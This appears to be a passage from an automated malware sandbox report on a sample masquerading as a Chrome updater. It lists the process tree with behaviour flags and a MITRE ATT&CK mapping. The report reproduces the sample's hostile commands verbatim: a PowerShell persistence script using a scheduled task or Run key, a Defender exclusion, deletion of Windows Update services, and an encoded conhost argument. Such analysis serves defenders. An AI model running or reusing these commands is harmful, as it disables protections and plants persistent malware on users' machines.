        powershell <#xvrezrt#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1804
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell <#eandv#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
        6⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:1560
        
        C:\Windows\system32\schtasks.exe
        
        "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
        7⤵
        
        PID:952
    - - C:\Users\Admin\AppData\Local\Temp\setup4325r.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup4325r.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Executes dropped EXE
        Checks BIOS information in registry
        Checks computer location settings
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:4436
      - C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /TN Cache-S-21-2946144819-3e21f723 /TR "C:\Users\Admin\AppData\Local\cache\MoUSO.exe"
        6⤵
        Creates scheduled task(s)
        
        PID:2156
    - - C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 4652 -s 2032
        5⤵
        Program crash
        
        PID:1904

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 420 -p 4652 -ip 4652
1⤵
PID:4272

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Drops file in Drivers directory
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
PID:1736
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:2204
- C:\Windows\system32\cmd.exe
  cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  PID:3756
- - C:\Windows\system32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:3560
- - C:\Windows\system32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:1904
- - C:\Windows\system32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:3784
- - C:\Windows\system32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:4316
- - C:\Windows\system32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:1856
- - C:\Windows\system32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:1004
- - C:\Windows\system32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:1488
- - C:\Windows\system32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:4344
- - C:\Windows\system32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:4132
- - C:\Windows\system32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    PID:4484
- C:\Windows\system32\cmd.exe
  cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:3556
- - C:\Windows\system32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    PID:3552
- - C:\Windows\system32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    PID:2708
- - C:\Windows\system32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    PID:4652
- - C:\Windows\system32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    PID:872
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell <#xvrezrt#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:5060
- C:\Windows\system32\conhost.exe
  C:\Windows\system32\conhost.exe uolbxpnz
  2⤵
  PID:924
- - C:\Windows\system32\cmd.exe
    cmd /c mkdir "C:\Program Files\Google\Libs\" & wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
    3⤵
    - Drops file in Program Files directory
    PID:3716
- C:\Windows\system32\cmd.exe
  cmd /c mkdir "C:\Program Files\Google\Libs\" & wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:4524
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    PID:600
- C:\Windows\system32\conhost.exe
  C:\Windows\system32\conhost.exe cshlasaluyxisouc GoySvqjslEz2cJjLp/l+rjzn6ce4jALjhSdARaKlIdOzscb8uSA4DC45OD1DpPEqiKy9RognxgdgL26xl6pHcgBuSDH82m22H2uTx/gYzO827+5kpstbfmCCWwx/haNMZTpvRN2AWJn3nj807NkQH/uc5YsiTBf742xyjDXcUT/RYfnhcLyzybIWgXn+7JafUmbaP5sh35EaxsiGFShuRY1L5Fi1uvVZnjU0an3bePXHEXYChHiocVdekR4gVKAc85wY8WomQkvNXfo8OnI8G68t0jyGDhrkDKs7kWaJz2DMj5MokwVvSUi2Y2TsrAP/8HOYVji2aTn31s7dz3/WlCN+UmM7HFUgStV0krKswFnOvNVFJHtjMrdLvilnrbVN4TalQD/4emuEzW66JneW1oLybGSK/MDKzo1AOqcicA4fArGcDni5GCt41/BAUeEn
  2⤵
  PID:4444

C:\Users\Admin\AppData\Local\cache\MoUSO.exe
C:\Users\Admin\AppData\Local\cache\MoUSO.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Executes dropped EXE
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:4192

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Scripting

T1064

Persistence

Modify Existing Service

T1031

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Scripting

T1064

Virtualization/Sandbox Evasion

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

System Information Discovery

Virtualization/Sandbox Evasion